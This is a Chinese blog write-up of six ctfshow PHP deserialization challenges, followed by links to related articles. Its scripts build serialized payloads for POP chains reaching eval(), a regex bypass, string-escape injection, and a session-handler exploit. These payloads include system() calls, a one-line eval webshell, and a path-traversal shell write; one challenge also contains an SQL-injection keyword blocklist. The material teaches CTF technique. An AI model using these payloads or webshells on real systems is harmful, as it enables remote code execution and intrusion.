CTF-php反序列化 (下)

已于 2024-10-17 16:37:13 修改
阅读量1.1k 收藏 22
点赞数 13
分类专栏： CTF 网络安全 文章标签： 前端 php 网络安全
于 2024-09-15 14:09:20 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/2301_81556781/article/details/142283622
版权

11.ctf一些例题

第一题:

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
​
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
​
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
​
}
​
$username=$_GET['username'];
$password=$_GET['password'];
​
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

触发vipOneKeyGetFlag()函数，但在此之前要使isVip的值为true，可是这道题没有对isVip进行赋值的操作,所以我们要审计代码找到关键点对其赋值.

$user = unserialize($_COOKIE['user']);

找到关键值user,可以写入cookie中user的值,进行反序列化操作,使其赋值为true

编写脚本进行序列化操作

<?php
class web255{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip;
    public function __construct(){
        $this->isVip='true';
    }
}
$a=new web255();
echo urlencode(serialize($a))
?>

第二题:对象注入

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{  
    private $username='xxxxxx';  
    private $password='xxxxxx';  
    private $isVip=false;  
    private $class = 'info';  
    public function __construct(){    
        $this->class=new info();  
    }  
    public function login($u,$p){    
        return $this->username===$u&&$this->password===$p;  
    }  
    public function __destruct(){    
        $this->class->getInfo();  
    }
}
class info{  
    private $user='xxxxxx';  
    public function getInfo(){    
        return $this->user;  
    }
}
class backDoor{  
    private $code;  
    public function getInfo(){    
        eval($this->code);  
    }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){  
    $user = unserialize($_COOKIE['user']);  
    $user->login($username,$password);
}

这里与第一题出现变化的地方有一点

如果我们想得到flag，就需要利用backdoor这个类的getInfo函数，code这个私有属性储存着我们要执行的命令

class backDoor{  
    private $code;  
    public function getInfo(){    
        eval($this->code);  
    }

触发getInfo的方法在ctfShowUser这个类中

 public function __construct(){    
        $this->class=new info();  
    }  
​
 public function __destruct(){    
        $this->class->getInfo();  
    }

所以我们可以利用他的destruct函数来触发在创建对象时类的getInfo()函数，通过ctfShowUser的 construct魔术方法来创建backdoor对象构造出pop链

backdoor::getinfo<--ctfShowUser::__destruct<--ctfShowUser::__construct

但是面临一个问题，就是backdoor的code属性是私有变量，应该如何解决

这里其实可以不管他，因为我们最后的输出是进行url编码的，最后privite生成的不可见字符\0也会被编码成%00，也可以直接将private变为public，利用php语言不敏感的特性来进行反序列化,脚本如下:

<?php
class web257{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $class = 'backdoor';
    public function __construct(){
        $this->class=new backdoor();
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class backDoor{
    public $code="system('tac flag.php');";
    public function getInfo(){
        eval($this->code);
    }
}
$a=new web257();
echo urlencode(serialize($a))
?>

第三题:加入了正则定理

<?php
error_reporting(0);
highlight_file(__FILE__);
​
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';
​
    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
​
}
​
class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
​
class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}
​
$username=$_GET['username'];
$password=$_GET['password'];
​
if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){ 
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

这里多了个过滤

preg_match('/[oc]:\d+:/i', $_COOKIE['user']

正则过滤[oc]是匹配o字符或者c字符，\d匹配一个数字字符，等价于[0-9]，+号是匹配前面的\d一次或者多次。下面只需要将O:11变成O:+11就可以绕过

还是上一题的pop链

backdoor::getinfo<--ctfShowUser::__destruct<--ctfShowUser::__construct

<?php
error_reporting(0);
highlight_file(__FILE__);
​
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $class = 'backDoor';
​
    public function __construct(){
        $this->class=new backDoor();
    }
    public function __destruct(){
        $this->class->getInfo();
    }
​
}
class backDoor{
    public $code="system('tac f*');";
    public function getInfo(){
        eval($this->code);
    }
}
​
$a=new ctfShowUser();
$b=serialize($a);
$b=str_replace("O:","O:+",$b);
echo urlencode($b)
?>

第四题: 反序列化+一句话木马

highlight_file(__FILE__);
​
class ctfshowvip{
    public $username;
    public $password;
    public $code;
​
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }
    
    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
​
}
​
unserialize($_GET['vip']);

如果类中同时定义了 unserialize() 和 wakeup() 两个魔术方法， 则只有 unserialize() 方法会生效，wakeup() 方法会被忽略。

所以在进行反序列化的时候不用去管__wakeup，这里的coke==0x36d，是弱比较，36d是十六进制，转换为十进制就是877，

这里code是在__unserialize函数触发的时候被username和password拼接起来的

$this->code = $this->username.$this->password;

所以只要username=877.php，password=shell就可以了

因为是弱比较，所以877.php=877是成立的

这里sleep()也不用管，sleep是在进行序列化的时候触发，所以构造exp的时候删掉就行了，unserialize触发方式和wakeup()一样，在反序列化开始的时候会触发，__invoke是当对象被当做函数时执行此方法

<?php
class web261
{
    public $username;
    public $password;
    public function __construct()
    {
        $this->username = '877.php';
        $this->password = '<?php eval($_REQUEST[yuanshen]);?>';
    }
}
$a = new web261();
echo urlencode(serialize($a));
?>

第五题: 反序列化字符串逃逸

<?php
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
​
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
​
if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}
​
highlight_file(__FILE__);
​

注释里面提示打开message.php

<?php
highlight_file(__FILE__);
include('flag.php');
​
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
​
if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

传入cookie值msg.

<?php
class message{
    public $from='1';
    public $msg='2';
    public $to='3';
    public $token='admin';
}
$a = new message();
print_r(serialize($a));
?>
//O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:5:"admin";}
//O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:4:"user";}

但是，在construct中是没有token的初始化的，而又不存在对象注入，所以只能利用字符串的缩短来实现替换token的值，可以看出来与上面相比是少了一个字符的，但是我们想要的效果是：

将s:5:"token";s:5:"admin";}插入到
O:7:"message":4:{s:4:"from";N;s:3:"msg";N;s:2:"to";N;s:5:"token";s:4:"user";}中
    
<?php
class message{
    public $from='1';
    public $msg='2';
    public $to='3";s:5:"token";s:5:"admin";}';//多了27个字符
    public $token='user';
}
$a = new message();
print_r(serialize($a));
?>
//O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:28:"3";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
这样就欺骗的天衣无缝了

通过这样的方式来实现欺骗，但是插入的部分

但是整条语句是存在逻辑问题的：

在s:28:"3";这个地方，正常逻辑是3只有一个字符，但是却被标注为28个，那么在反序列化的时候，就会出现报错，但是此题在反序列化之前会对msg的参数进行替换操作，会将4个字符的fuck替换5个关字符的loveu，这样的话本来缺少的27个字符，就会被经过增加替换而多出来的27个字符顶替，正好满足136=109(love)+27(u)，而后面的27个字符也就顺理成章的替换了后面的token

<?php
class message{
    public $from='1';
    public $msg='2';
    public $to='3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';//此处有27个fuck=109+27=136
    public $token='user';
}
$a = new message();
print_r(serialize($a));
?>
//O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:136:"3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

payload:?f=1&m=2&t=3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

然后访问message.php就可以得到flag

第六题 session反序列化

<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW; 
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
    'database_type' => 'mysql',
    'database_name' => 'web',
    'server' => 'localhost',
    'username' => 'root',
    'password' => 'root',
    'charset' => 'utf8',
    'port' => 3306,
    'prefix' => '',
    'option' => [
        PDO::ATTR_CASE => PDO::CASE_NATURAL
    ]
]);
​
// sql注入检查
function checkForm($str){
    if(!isset($str)){
        return true;
    }else{
    return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\（|\）|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
    }
}
​
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}
?>

$this->username，$this->password均为我们可控，所以存在漏洞

index.php：

<?php
    error_reporting(0);
    session_start();
    //超过5次禁止登陆
    if(isset($_SESSION['limit'])){
        $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
        $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
    }else{
         setcookie("limit",base64_encode('1'));// 
         $_SESSION['limit']= 1;
    }
?>

这也就是一开始的登陆页面

check.php：针对cookie中的limit进行次数检测

<?php
​
error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);
​
if($GET){
$data= $db->get('admin',
[   'id',
    'UserName0'
],[
    "AND"=>[
    "UserName0[=]"=>$GET['u'],
    "PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号，防止爆破
    ]
]);
if($data['id']){
    //登陆成功取消次数累计
    $_SESSION['limit']= 0;
    echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
}else{
    //登陆失败累计次数加1
    $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
    echo json_encode(array("error","msg"=>"登陆失败"));
}

session.serialize_handler( 5.5.4前默认是php；5.5.4后改为php_serialize)存在以下几种：

php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值 php 键名+竖线（|）+经过serialize()函数处理过的值 php_serialize 经过serialize()函数处理过的值，会将键名和值当作一个数组序列化

因为此php版本为7.3.11，并且设置为php处理器而不是php_serialize处理器，所以存在session反序列漏洞

在 php_serialize 引擎下，session文件中存储的数据为:

a:1:{s:4:"name";s:6:"spoock";} 1 php 引擎下文件内容为:

name|s:6:"spoock"; 1 暂时用到的是这两个

exp：

<?php
class User{
    public $username="admin/../../../../../../../../../../var/www/html/1.php";
    public $password="<?php system('cat flag.php');?>";
    public $status;
​
}
$a = new User();
$c =  "|".serialize($a);
echo urlencode(base64_encode($c));

解题步骤： 1.首先访问首页，获得 cookie，同时建立 session 2.通过cookie manager将cookie中的limit修改为序列化字符串 3.访问 check.php，反序列化实现 shell 写入 4.访问1.php审查元素查看flag

【网络安全 | CTF】记一次PHP序列化反序列化解题详析
等风来
08-24 5788
代码开门见山给出backdoor函数，而该函数在popko类的call方法中调用故需要运行call方法而call方法是在对象上下文中调用不可访问的方法时触发的故需要调用不可访问的方法 而恰巧destruct方法中并不存在a对象和a函数故需要运行destruct方法而destruct方法在对象被销毁时触发 如何实现对象被销毁呢？ 当序列化后的语句被反序列化之后，对象会被销毁，从而触发destruct方法 所以思路就是： 在pipimi类中构造一个对象，当pipimi中的destru
php反序列化漏洞典型例题
m0_62284238的博客
10-28 1079
ctfhub-技能树-pklovecloud引用题目：2021-第五空间智能安全大赛-Web-pklovecloud。
从一道CTF题学习PHP反序列化漏洞-附件资源
03-02
从一道CTF题学习PHP反序列化漏洞-附件资源
CTF_Web：反序列化学习笔记（二）CTF经典考题由浅至深
AFCC_的博客（Web_Dog）
08-16 8613
0x00 CTF中的反序列化题目 这类题目中主要是利用反序列化各种魔术方法的绕过或调用，从而构造符合条件的序列化字符串，完成特定的功能，在这一点上对于整个代码段的执行流程要很清楚。我们先从最简单的开始看起。 0x01 攻防世界unserialize3 题目显示的源码为： class xctf{ public $flag = '111'; public function __wakeup(){ exit('bad requests'); } ?code= 在这里我们可以看到只有一个魔术方法，而__w
CTF--变量1
最新发布
2401_83809941的博客
04-07 310
潜在的安全漏洞：代码注入漏洞——通过eval函数，攻击者可以执行任意PHP代码，如果args=GLOBALS，args等价于$GLOBALS，攻击者可能访问全局变量。风险：eval函数会直接执行用户输入的代码，可能导致代码注入攻击。风险：这会让代码中的错误（如语法错误、未定义变量等）不会显示出来，不利于调试。关键点：这会直接将PHP代码以高亮形式输出到网页上，可能暴露服务器路径信息（如文件路径中的敏感目录）。风险：如果攻击者能访问该文件，可能获取敏感信息。作用：高亮显示当前文件（即这段代码本身）的内容。
PHP反序列化CTF例题
bwxzdjn的博客
03-25 6232
用代码审计的方式分析一道典型的存在PHP反序列化漏洞的案例，加深对魔术方法等相关知识的理解。另外，还会和xss跨站脚本的知识进行融合。
PHP反序列化入门题
ailx10
10-20 437
每一天都是新的一天，每一天都会接受新的信息，每一天都会有新的成长，昨天接到一个付费咨询，一直到晚上睡前才记起来，客户是一个大一学生，参加了大学的网络安全社团，然后遇到了一道题目，想求助我帮忙解决~这题考察的是PHP反序列化，还有对象的构造函数和析构函数，算是Web安全入门题，有兴趣和想法的小伙伴，可以在知乎平台购买Web安全三册，比京东便宜一点，本着助人为乐的精神，就帮助这位小兄弟分析一下~首先是...
PHP反序列化之练习题
shy的博客
11-29 1624
pikachu平台反序列化漏洞 第一题：反序列化漏洞输出XSS 地址：https://www.bihuoedu.com/vul/unserilization/unser.php 查看unser.php文件的源码： <?php class S{ var $test = "pikachu"; function __construct(){ echo $this->test; } } //O:1:"S":1:{s:4:"test";s:29:"&.
ctf_show笔记篇（web入门---反序列化）
whale_waves的博客
03-19 2180
例如$a = 1 $b = 2, 这时让$b = &$a, 再给$a 重新赋个值 $a = 3, 这个时候$b就会一直跟着$a变化, $a是什么$b就是什么。利用php处理畸形的序列化的处理措施, 当php收到畸形的序列化时, 会因为对此序列化的不放心, 会第一时间处理掉它, 所以能直接让处理他的顺序排在了最前面。这时, 如果传入一个|O:5:"Class"类似于这样的序列化, php就会自动把|前面的当作键名用, 反而会反序列化|后的值。
ctf+php反序列化,CTF中的PHP反序列化漏洞简单分析
weixin_39965881的博客
04-02 1925
本帖最后由 icq_8bf67fe65 于 2018-9-2 21:20 编辑本文原创作者：Versi0n，本文属i春秋原创奖励计划，未经许可禁止转载！一、前言在ctf比赛中，经常会遇到php反序列化漏洞的题，今天就来简单分析下该漏洞的正确食用姿势~二、正文1.基础知识PHP序列化：php为了方便进行数据的传输，允许把复杂的数据结构，压缩到一个字符串中，使用serialize()函数。PHP反序列...
php反序列化1_常见php序列化的CTF考题
书山有路勤为径，学海无涯苦作舟
11-25 1797
本质上serialize()和unserialize（）在php内部的实现上是没有漏洞的，漏洞的主要产生是由于应用程序在处理对象，魔术函数以及序列化相关问题时导致的。当传给unserialize()的参数可控时，那么用户就可以注入精心构造的payload当进行反序列化的时候就有可能会触发对象中的一些魔术方法，造成意想不到的危害。__toString() 是魔术方法的一种，具体用途是当一个对象被当作字符串对待的时候，会触发这个魔术方法以下说明摘自PHP官方手册。
CTF中的反序列化题目
weixin_50372036的博客
06-25 1001
其次是wakeup，wakeup只需要把序列化字串的对象属性个数1改为别的数字就行了，但是注意这里file 的类型是private，所以打印出来的串是有不可见字符%00的，不要复制出来自己base，不然结果就不一样了。方法有一个CVE漏洞，CVE-2016-7124，在传入的序列化字符串在反序列化对象时与真实存在的参数个数不同时会跳过执行，即当前函数中只有一个参数$flag，若传入的序列化字符串中的参数个数为2即可绕过。传入s中，就得到了执行phpinfo后的界面，完成了执行流程的改变。
一道反序列化的CTF题分享
seek_2022的博客
07-23 1286
一道有趣的CTF题目
PHP反序列化--简单ctf题--pop链（thinkphp5.1.X）漏洞复现
cainiao17441898的博客
07-07 4873
前言： PHP 将所有以 __（两个下划线）开头的类方法保留为魔术方法，这些都是PHP内置的方法。 __construct 当一个对象创建时被调用 __destruct 当一个对象销毁时被调用 __wakeup() 使用unserialize时触发 __sleep() 使用serialize时触发 __call() 在对象上下文中调用不可访问的方法时触发 __callStatic() 在静态上下文中调用不可访问的方法时触发 __get() 用于从不可访问的属性读取数据 __set() 用于将数据写入不可访
PHP反序列化刷题合集
2301_76690905的博客
11-20 688
第一步：确定切入点在于($this->func)($this->var);，给func传system，给var传ls /，如果执行的话就是system（‘ls /’）查根目录，那我们怎么执行呢？需要我们触发evil方法第二步：我们注意到pwn类中的$this->obj->evil();可以触发evil()方法，那我们就可以把实例化的web类传给pen类的obj属性，想要真正触发evil()还需要触发__invoke()魔术方法。__invoke会在一个对象被当做函数调用时触发。
反序列化学习笔记【一文打通ctf中的反序列化题目】
jayq1的博客
07-21 8082
本文包含反序列化的各类题目，比如基础的php反序列化 反序列化字符逃逸 phar反序列化 Pickle反序列化 师傅们轻点喷~
weekly-反序列化两道CTF练习题
网络安全学习
04-12 2824
文章目录EZ-unserializePOP 光说不练假把式，做点题，本次是某天的weekly-ctf的两道反序列化 EZ-unserialize 这是一个User类，定义了三个魔术方法，我们上一篇文章介绍了分别在什么时候调用，反序列化重建对象时会调用wakeup函数，在结束时会调用destruct class User{ function __construct($name,$pass){ $this->name = $name; $this->pass
php反序列化题目
pwfortune的博客
04-07 1074
Start类 - __destruct ---> Sec类- __toString ---> Easy类 -__call ---> eeee类-__clone。可以发现在 Sec 类 中 使用了一个 check()方法，但是这个方法是不存在的，正好满足__call() 的条件，这又需要调用到。---> Start类- __isset ---> Sec 类- __invoke --->file_get_contents。方法，在对象中调用一个不可访问方法时，__call() 会被调用。
PHP反序列化漏洞分析：0CTF-2016-piapiapia挑战解析
在某些情况下，这些类可能会保存用户的会话信息，而这些信息在反序列化时会被处理。 长度变化尾部字符串逃逸是指在序列化的对象中，通过改变某个特定属性的长度，使得在反序列化过程中触发特殊行为。例如，如果序列...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值